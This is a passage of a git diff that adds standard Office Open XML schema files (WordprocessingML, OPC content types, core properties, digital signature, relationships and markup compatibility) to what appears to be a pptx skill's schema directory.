maxOccurs="unbounded"> + <xsd:element name="div" type="CT_Div"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TxbxContent"> + <xsd:group ref="EG_BlockLevelElts" minOccurs="1" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:element name="txbxContent" type="CT_TxbxContent"/> + <xsd:group name="EG_MathContent"> + <xsd:choice> + <xsd:element ref="m:oMathPara"/> + <xsd:element ref="m:oMath"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_BlockLevelChunkElts"> + <xsd:choice> + <xsd:group ref="EG_ContentBlockContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_BlockLevelElts"> + <xsd:choice> + <xsd:group ref="EG_BlockLevelChunkElts" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="altChunk" type="CT_AltChunk" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_RunLevelElts"> + <xsd:choice> + <xsd:element name="proofErr" minOccurs="0" type="CT_ProofErr"/> + <xsd:element name="permStart" minOccurs="0" type="CT_PermStart"/> + <xsd:element name="permEnd" minOccurs="0" type="CT_Perm"/> + <xsd:group ref="EG_RangeMarkupElements" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="ins" type="CT_RunTrackChange" minOccurs="0"/> + <xsd:element name="del" type="CT_RunTrackChange" minOccurs="0"/> + <xsd:element name="moveFrom" type="CT_RunTrackChange"/> + <xsd:element name="moveTo" type="CT_RunTrackChange"/> + <xsd:group ref="EG_MathContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Body"> + <xsd:sequence> + <xsd:group ref="EG_BlockLevelElts" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="sectPr" minOccurs="0" maxOccurs="1" type="CT_SectPr"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ShapeDefaults"> + <xsd:choice maxOccurs="unbounded"> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:office:office" + minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_Comments"> + <xsd:sequence> + <xsd:element name="comment" type="CT_Comment" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="comments" type="CT_Comments"/> + <xsd:complexType name="CT_Footnotes"> + <xsd:sequence maxOccurs="unbounded"> + <xsd:element name="footnote" type="CT_FtnEdn" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="footnotes" type="CT_Footnotes"/> + <xsd:complexType name="CT_Endnotes"> + <xsd:sequence maxOccurs="unbounded"> + <xsd:element name="endnote" type="CT_FtnEdn" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="endnotes" type="CT_Endnotes"/> + <xsd:element name="hdr" type="CT_HdrFtr"/> + <xsd:element name="ftr" type="CT_HdrFtr"/> + <xsd:complexType name="CT_SmartTagType"> + <xsd:attribute name="namespaceuri" type="s:ST_String"/> + <xsd:attribute name="name" type="s:ST_String"/> + <xsd:attribute name="url" type="s:ST_String"/> + </xsd:complexType> + <xsd:simpleType name="ST_ThemeColor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="dark1"/> + <xsd:enumeration value="light1"/> + <xsd:enumeration value="dark2"/> + <xsd:enumeration value="light2"/> + <xsd:enumeration value="accent1"/> + <xsd:enumeration value="accent2"/> + <xsd:enumeration value="accent3"/> + <xsd:enumeration value="accent4"/> + <xsd:enumeration value="accent5"/> + <xsd:enumeration value="accent6"/> + <xsd:enumeration value="hyperlink"/> + <xsd:enumeration value="followedHyperlink"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="background1"/> + <xsd:enumeration value="text1"/> + <xsd:enumeration value="background2"/> + <xsd:enumeration value="text2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DocPartBehavior"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="content"/> + <xsd:enumeration value="p"/> + <xsd:enumeration value="pg"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DocPartBehavior"> + <xsd:attribute name="val" use="required" type="ST_DocPartBehavior"/> + </xsd:complexType> + <xsd:complexType name="CT_DocPartBehaviors"> + <xsd:choice> + <xsd:element name="behavior" type="CT_DocPartBehavior" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_DocPartType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="autoExp"/> + <xsd:enumeration value="toolbar"/> + <xsd:enumeration value="speller"/> + <xsd:enumeration value="formFld"/> + <xsd:enumeration value="bbPlcHdr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DocPartType"> + <xsd:attribute name="val" use="required" type="ST_DocPartType"/> + </xsd:complexType> + <xsd:complexType name="CT_DocPartTypes"> + <xsd:choice> + <xsd:element name="type" type="CT_DocPartType" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attribute name="all" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_DocPartGallery"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="placeholder"/> + <xsd:enumeration value="any"/> + <xsd:enumeration value="default"/> + <xsd:enumeration value="docParts"/> + <xsd:enumeration value="coverPg"/> + <xsd:enumeration value="eq"/> + <xsd:enumeration value="ftrs"/> + <xsd:enumeration value="hdrs"/> + <xsd:enumeration value="pgNum"/> + <xsd:enumeration value="tbls"/> + <xsd:enumeration value="watermarks"/> + <xsd:enumeration value="autoTxt"/> + <xsd:enumeration value="txtBox"/> + <xsd:enumeration value="pgNumT"/> + <xsd:enumeration value="pgNumB"/> + <xsd:enumeration value="pgNumMargins"/> + <xsd:enumeration value="tblOfContents"/> + <xsd:enumeration value="bib"/> + <xsd:enumeration value="custQuickParts"/> + <xsd:enumeration value="custCoverPg"/> + <xsd:enumeration value="custEq"/> + <xsd:enumeration value="custFtrs"/> + <xsd:enumeration value="custHdrs"/> + <xsd:enumeration value="custPgNum"/> + <xsd:enumeration value="custTbls"/> + <xsd:enumeration value="custWatermarks"/> + <xsd:enumeration value="custAutoTxt"/> + <xsd:enumeration value="custTxtBox"/> + <xsd:enumeration value="custPgNumT"/> + <xsd:enumeration value="custPgNumB"/> + <xsd:enumeration value="custPgNumMargins"/> + <xsd:enumeration value="custTblOfContents"/> + <xsd:enumeration value="custBib"/> + <xsd:enumeration value="custom1"/> + <xsd:enumeration value="custom2"/> + <xsd:enumeration value="custom3"/> + <xsd:enumeration value="custom4"/> + <xsd:enumeration value="custom5"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DocPartGallery"> + <xsd:attribute name="val" type="ST_DocPartGallery" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DocPartCategory"> + <xsd:sequence> + <xsd:element name="name" type="CT_String" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gallery" type="CT_DocPartGallery" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DocPartName"> + <xsd:attribute name="val" type="s:ST_String" use="required"/> + <xsd:attribute name="decorated" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DocPartPr"> + <xsd:all> + <xsd:element name="name" type="CT_DocPartName" minOccurs="1"/> + <xsd:element name="style" type="CT_String" minOccurs="0"/> + <xsd:element name="category" type="CT_DocPartCategory" minOccurs="0"/> + <xsd:element name="types" type="CT_DocPartTypes" minOccurs="0"/> + <xsd:element name="behaviors" type="CT_DocPartBehaviors" minOccurs="0"/> + <xsd:element name="description" type="CT_String" minOccurs="0"/> + <xsd:element name="guid" type="CT_Guid" minOccurs="0"/> + </xsd:all> + </xsd:complexType> + <xsd:complexType name="CT_DocPart"> + <xsd:sequence> + <xsd:element name="docPartPr" type="CT_DocPartPr" minOccurs="0"/> + <xsd:element name="docPartBody" type="CT_Body" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DocParts"> + <xsd:choice> + <xsd:element name="docPart" type="CT_DocPart" minOccurs="1" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:complexType> + <xsd:element name="settings" type="CT_Settings"/> + <xsd:element name="webSettings" type="CT_WebSettings"/> + <xsd:element name="fonts" type="CT_FontsList"/> + <xsd:element name="numbering" type="CT_Numbering"/> + <xsd:element name="styles" type="CT_Styles"/> + <xsd:simpleType name="ST_CaptionPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="above"/> + <xsd:enumeration value="below"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Caption"> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + <xsd:attribute name="pos" type="ST_CaptionPos" use="optional"/> + <xsd:attribute name="chapNum" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="heading" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="noLabel" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="numFmt" type="ST_NumberFormat" use="optional"/> + <xsd:attribute name="sep" type="ST_ChapterSep" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_AutoCaption"> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + <xsd:attribute name="caption" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AutoCaptions"> + <xsd:sequence> + <xsd:element name="autoCaption" type="CT_AutoCaption" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Captions"> + <xsd:sequence> + <xsd:element name="caption" type="CT_Caption" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="autoCaptions" type="CT_AutoCaptions" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DocumentBase"> + <xsd:sequence> + <xsd:element name="background" type="CT_Background" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Document"> + <xsd:complexContent> + <xsd:extension base="CT_DocumentBase"> + <xsd:sequence> + <xsd:element name="body" type="CT_Body" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="conformance" type="s:ST_ConformanceClass"/> + <xsd:attribute ref="mc:Ignorable" use="optional" /> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_GlossaryDocument"> + <xsd:complexContent> + <xsd:extension base="CT_DocumentBase"> + <xsd:sequence> + <xsd:element name="docParts" type="CT_DocParts" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:element name="document" type="CT_Document"/> + <xsd:element name="glossaryDocument" type="CT_GlossaryDocument"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd new file mode 100644 index 00000000..0f13678d --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd @@ -0,0 +1,116 @@ +<?xml version='1.0'?> +<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> + + <xs:annotation> + <xs:documentation> + See http://www.w3.org/XML/1998/namespace.html and + http://www.w3.org/TR/REC-xml for information about this namespace. + + This schema document describes the XML namespace, in a form + suitable for import by other schema documents. + + Note that local names in this namespace are intended to be defined + only by the World Wide Web Consortium or its subgroups. The + following names are currently defined in this namespace and should + not be used with conflicting semantics by any Working Group, + specification, or document instance: + + base (as an attribute name): denotes an attribute whose value + provides a URI to be used as the base for interpreting any + relative URIs in the scope of the element on which it + appears; its value is inherited. This name is reserved + by virtue of its definition in the XML Base specification. + + lang (as an attribute name): denotes an attribute whose value + is a language code for the natural language of the content of + any element; its value is inherited. This name is reserved + by virtue of its definition in the XML specification. + + space (as an attribute name): denotes an attribute whose + value is a keyword indicating what whitespace processing + discipline is intended for the content of the element; its + value is inherited. This name is reserved by virtue of its + definition in the XML specification. + + Father (in any context at all): denotes Jon Bosak, the chair of + the original XML Working Group. This name is reserved by + the following decision of the W3C XML Plenary and + XML Coordination groups: + + In appreciation for his vision, leadership and dedication + the W3C XML Plenary on this 10th day of February, 2000 + reserves for Jon Bosak in perpetuity the XML name + xml:Father + </xs:documentation> + </xs:annotation> + + <xs:annotation> + <xs:documentation>This schema defines attributes and an attribute group + suitable for use by + schemas wishing to allow xml:base, xml:lang or xml:space attributes + on elements they define. + + To enable this, such a schema must import this schema + for the XML namespace, e.g. as follows: + <schema . . .> + . . . + <import namespace="http://www.w3.org/XML/1998/namespace" + schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> + + Subsequently, qualified reference to any of the attributes + or the group defined below will have the desired effect, e.g. + + <type . . .> + . . . + <attributeGroup ref="xml:specialAttrs"/> + + will define a type which will schema-validate an instance + element with any of those attributes</xs:documentation> + </xs:annotation> + + <xs:annotation> + <xs:documentation>In keeping with the XML Schema WG's standard versioning + policy, this schema document will persist at + http://www.w3.org/2001/03/xml.xsd. + At the date of issue it can also be found at + http://www.w3.org/2001/xml.xsd. + The schema document at that URI may however change in the future, + in order to remain compatible with the latest version of XML Schema + itself. In other words, if the XML Schema namespace changes, the version + of this document at + http://www.w3.org/2001/xml.xsd will change + accordingly; the version at + http://www.w3.org/2001/03/xml.xsd will not change. + </xs:documentation> + </xs:annotation> + + <xs:attribute name="lang" type="xs:language"> + <xs:annotation> + <xs:documentation>In due course, we should install the relevant ISO 2- and 3-letter + codes as the enumerated possible values . . .</xs:documentation> + </xs:annotation> + </xs:attribute> + + <xs:attribute name="space" default="preserve"> + <xs:simpleType> + <xs:restriction base="xs:NCName"> + <xs:enumeration value="default"/> + <xs:enumeration value="preserve"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + + <xs:attribute name="base" type="xs:anyURI"> + <xs:annotation> + <xs:documentation>See http://www.w3.org/TR/xmlbase/ for + information about this attribute.</xs:documentation> + </xs:annotation> + </xs:attribute> + + <xs:attributeGroup name="specialAttrs"> + <xs:attribute ref="xml:base"/> + <xs:attribute ref="xml:lang"/> + <xs:attribute ref="xml:space"/> + </xs:attributeGroup> + +</xs:schema> diff --git a/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd new file mode 100644 index 00000000..a6de9d27 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types" + elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> + + <xs:element name="Types" type="CT_Types"/> + <xs:element name="Default" type="CT_Default"/> + <xs:element name="Override" type="CT_Override"/> + + <xs:complexType name="CT_Types"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element ref="Default"/> + <xs:element ref="Override"/> + </xs:choice> + </xs:complexType> + + <xs:complexType name="CT_Default"> + <xs:attribute name="Extension" type="ST_Extension" use="required"/> + <xs:attribute name="ContentType" type="ST_ContentType" use="required"/> + </xs:complexType> + + <xs:complexType name="CT_Override"> + <xs:attribute name="ContentType" type="ST_ContentType" use="required"/> + <xs:attribute name="PartName" type="xs:anyURI" use="required"/> + </xs:complexType> + + <xs:simpleType name="ST_ContentType"> + <xs:restriction base="xs:string"> + <xs:pattern + value="(((([\p{IsBasicLatin}-[\p{Cc}\(\)<>@,;:\\"/\[\]\?=\{\}\s\t]])+))/((([\p{IsBasicLatin}-[\p{Cc}\(\)<>@,;:\\"/\[\]\?=\{\}\s\t]])+))((\s+)*;(\s+)*(((([\p{IsBasicLatin}-[\p{Cc}\(\)<>@,;:\\"/\[\]\?=\{\}\s\t]])+))=((([\p{IsBasicLatin}-[\p{Cc}\(\)<>@,;:\\"/\[\]\?=\{\}\s\t]])+)|("(([\p{IsLatin-1Supplement}\p{IsBasicLatin}-[\p{Cc}"\n\r]]|(\s+))|(\\[\p{IsBasicLatin}]))*"))))*)" + /> + </xs:restriction> + </xs:simpleType> + + <xs:simpleType name="ST_Extension"> + <xs:restriction base="xs:string"> + <xs:pattern + value="([!$&'\(\)\*\+,:=]|(%[0-9a-fA-F][0-9a-fA-F])|[:@]|[a-zA-Z0-9\-_~])+"/> + </xs:restriction> + </xs:simpleType> +</xs:schema> diff --git a/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd new file mode 100644 index 00000000..10e978b6 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd @@ -0,0 +1,50 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" + xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" + xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all"> + + <xs:import namespace="http://purl.org/dc/elements/1.1/" + schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/> + <xs:import namespace="http://purl.org/dc/terms/" + schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/> + <xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/> + + <xs:element name="coreProperties" type="CT_CoreProperties"/> + + <xs:complexType name="CT_CoreProperties"> + <xs:all> + <xs:element name="category" minOccurs="0" maxOccurs="1" type="xs:string"/> + <xs:element name="contentStatus" minOccurs="0" maxOccurs="1" type="xs:string"/> + <xs:element ref="dcterms:created" minOccurs="0" maxOccurs="1"/> + <xs:element ref="dc:creator" minOccurs="0" maxOccurs="1"/> + <xs:element ref="dc:description" minOccurs="0" maxOccurs="1"/> + <xs:element ref="dc:identifier" minOccurs="0" maxOccurs="1"/> + <xs:element name="keywords" minOccurs="0" maxOccurs="1" type="CT_Keywords"/> + <xs:element ref="dc:language" minOccurs="0" maxOccurs="1"/> + <xs:element name="lastModifiedBy" minOccurs="0" maxOccurs="1" type="xs:string"/> + <xs:element name="lastPrinted" minOccurs="0" maxOccurs="1" type="xs:dateTime"/> + <xs:element ref="dcterms:modified" minOccurs="0" maxOccurs="1"/> + <xs:element name="revision" minOccurs="0" maxOccurs="1" type="xs:string"/> + <xs:element ref="dc:subject" minOccurs="0" maxOccurs="1"/> + <xs:element ref="dc:title" minOccurs="0" maxOccurs="1"/> + <xs:element name="version" minOccurs="0" maxOccurs="1" type="xs:string"/> + </xs:all> + </xs:complexType> + + <xs:complexType name="CT_Keywords" mixed="true"> + <xs:sequence> + <xs:element name="value" minOccurs="0" maxOccurs="unbounded" type="CT_Keyword"/> + </xs:sequence> + <xs:attribute ref="xml:lang" use="optional"/> + </xs:complexType> + + <xs:complexType name="CT_Keyword"> + <xs:simpleContent> + <xs:extension base="xs:string"> + <xs:attribute ref="xml:lang" use="optional"/> + </xs:extension> + </xs:simpleContent> + </xs:complexType> + +</xs:schema> diff --git a/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd new file mode 100644 index 00000000..4248bf7a --- /dev/null +++ b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd @@ -0,0 +1,49 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature" + elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> + + <xsd:element name="SignatureTime" type="CT_SignatureTime"/> + <xsd:element name="RelationshipReference" type="CT_RelationshipReference"/> + <xsd:element name="RelationshipsGroupReference" type="CT_RelationshipsGroupReference"/> + + <xsd:complexType name="CT_SignatureTime"> + <xsd:sequence> + <xsd:element name="Format" type="ST_Format"/> + <xsd:element name="Value" type="ST_Value"/> + </xsd:sequence> + </xsd:complexType> + + <xsd:complexType name="CT_RelationshipReference"> + <xsd:simpleContent> + <xsd:extension base="xsd:string"> + <xsd:attribute name="SourceId" type="xsd:string" use="required"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + + <xsd:complexType name="CT_RelationshipsGroupReference"> + <xsd:simpleContent> + <xsd:extension base="xsd:string"> + <xsd:attribute name="SourceType" type="xsd:anyURI" use="required"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + + <xsd:simpleType name="ST_Format"> + <xsd:restriction base="xsd:string"> + <xsd:pattern + value="(YYYY)|(YYYY-MM)|(YYYY-MM-DD)|(YYYY-MM-DDThh:mmTZD)|(YYYY-MM-DDThh:mm:ssTZD)|(YYYY-MM-DDThh:mm:ss.sTZD)" + /> + </xsd:restriction> + </xsd:simpleType> + + <xsd:simpleType name="ST_Value"> + <xsd:restriction base="xsd:string"> + <xsd:pattern + value="(([0-9][0-9][0-9][0-9]))|(([0-9][0-9][0-9][0-9])-((0[1-9])|(1(0|1|2))))|(([0-9][0-9][0-9][0-9])-((0[1-9])|(1(0|1|2)))-((0[1-9])|(1[0-9])|(2[0-9])|(3(0|1))))|(([0-9][0-9][0-9][0-9])-((0[1-9])|(1(0|1|2)))-((0[1-9])|(1[0-9])|(2[0-9])|(3(0|1)))T((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9]))(((\+|-)((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9])))|Z))|(([0-9][0-9][0-9][0-9])-((0[1-9])|(1(0|1|2)))-((0[1-9])|(1[0-9])|(2[0-9])|(3(0|1)))T((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9])):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9]))(((\+|-)((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9])))|Z))|(([0-9][0-9][0-9][0-9])-((0[1-9])|(1(0|1|2)))-((0[1-9])|(1[0-9])|(2[0-9])|(3(0|1)))T((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9])):(((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9]))\.[0-9])(((\+|-)((0[0-9])|(1[0-9])|(2(0|1|2|3))):((0[0-9])|(1[0-9])|(2[0-9])|(3[0-9])|(4[0-9])|(5[0-9])))|Z))" + /> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd new file mode 100644 index 00000000..56497467 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd @@ -0,0 +1,33 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships" + elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> + + <xsd:element name="Relationships" type="CT_Relationships"/> + <xsd:element name="Relationship" type="CT_Relationship"/> + + <xsd:complexType name="CT_Relationships"> + <xsd:sequence> + <xsd:element ref="Relationship" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + + <xsd:complexType name="CT_Relationship"> + <xsd:simpleContent> + <xsd:extension base="xsd:string"> + <xsd:attribute name="TargetMode" type="ST_TargetMode" use="optional"/> + <xsd:attribute name="Target" type="xsd:anyURI" use="required"/> + <xsd:attribute name="Type" type="xsd:anyURI" use="required"/> + <xsd:attribute name="Id" type="xsd:ID" use="required"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + + <xsd:simpleType name="ST_TargetMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="External"/> + <xsd:enumeration value="Internal"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/mce/mc.xsd b/skills/pptx/ooxml/schemas/mce/mc.xsd new file mode 100644 index 00000000..ef725457 --- /dev/null +++ b/skills/pptx/ooxml/schemas/mce/mc.xsd @@ -0,0 +1,75 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" + attributeFormDefault="unqualified" elementFormDefault="qualified" + targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" + xmlns:xsd="http://www.w3.org/2001/XMLSchema"> + + <!-- + This XSD is a modified version of the one found at: + https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd + + This XSD has 2 objectives: + + 1. round tripping @mc:Ignorable + + <w:document + xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" + xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + mc:Ignorable="w14 w15 wp14"> + + 2. enabling AlternateContent to be manipulated in certain elements + (in the unusual case where the content model is xsd:any, it doesn't have to be explicitly added) + + See further ECMA-376, 4th Edition, Office Open XML File Formats + Part 3 : Markup Compatibility and Extensibility + --> + + <!-- Objective 1 --> + <xsd:attribute name="Ignorable" type="xsd:string" /> + + <!-- Objective 2 --> + <xsd:attribute name="MustUnderstand" type="xsd:string" /> + <xsd:attribute name="ProcessContent" type="xsd:string" /> + +<!-- An AlternateContent element shall contain one or more Choice child elements, optionally followed by a +Fallback child element. If present, there shall be only one Fallback element, and it shall follow all Choice +elements. --> + <xsd:element name="AlternateContent"> + <xsd:complexType> + <xsd:sequence> + <xsd:element name="Choice" minOccurs="0" maxOccurs="unbounded"> + <xsd:complexType> + <xsd:sequence> + <xsd:any minOccurs="0" maxOccurs="unbounded" + processContents="strict"> + </xsd:any> + </xsd:sequence> + <xsd:attribute name="Requires" type="xsd:string" use="required" /> + <xsd:attribute ref="mc:Ignorable" use="optional" /> + <xsd:attribute ref="mc:MustUnderstand" use="optional" /> + <xsd:attribute ref="mc:ProcessContent" use="optional" /> + </xsd:complexType> + </xsd:element> + <xsd:element name="Fallback" minOccurs="0" maxOccurs="1"> + <xsd:complexType> + <xsd:sequence> + <xsd:any minOccurs="0" maxOccurs="unbounded" + processContents="strict"> + </xsd:any> + </xsd:sequence> + <xsd:attribute ref="mc:Ignorable" use="optional" /> + <xsd:attribute ref="mc:MustUnderstand" use="optional" /> + <xsd:attribute ref="mc:ProcessContent" use="optional" /> + </xsd:complexType> + </xsd:element> + </xsd:sequence> + <!-- AlternateContent elements might include the attributes Ignorable, + MustUnderstand and ProcessContent described in this Part of ECMA-376. These + attributes’ qualified names shall be prefixed when associated with an AlternateContent + element. --> + <xsd:attribute ref="mc:Ignorable" use="optional" /> + <xsd:attribute ref="mc:MustUnderstand" use="optional" /> + <xsd:attribute ref="mc:ProcessContent" use="optional" /> + </xsd:complexType> + </xsd:element> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd new file mode 100644 index 00000000..f65f7777 --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd @@ -0,0 +1,560 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns="http://schemas.microsoft.com/office/word/2010/wordml" targetNamespace="http://schemas.microsoft.com/office/word/2010/wordml"> + <!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> --> + <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> --> + <xsd:complexType name="CT_LongHexNumber"> + <xsd:attribute name="val" type="w:ST_LongHexNumber" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_OnOff"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="true"/> + <xsd:enumeration value="false"/> + 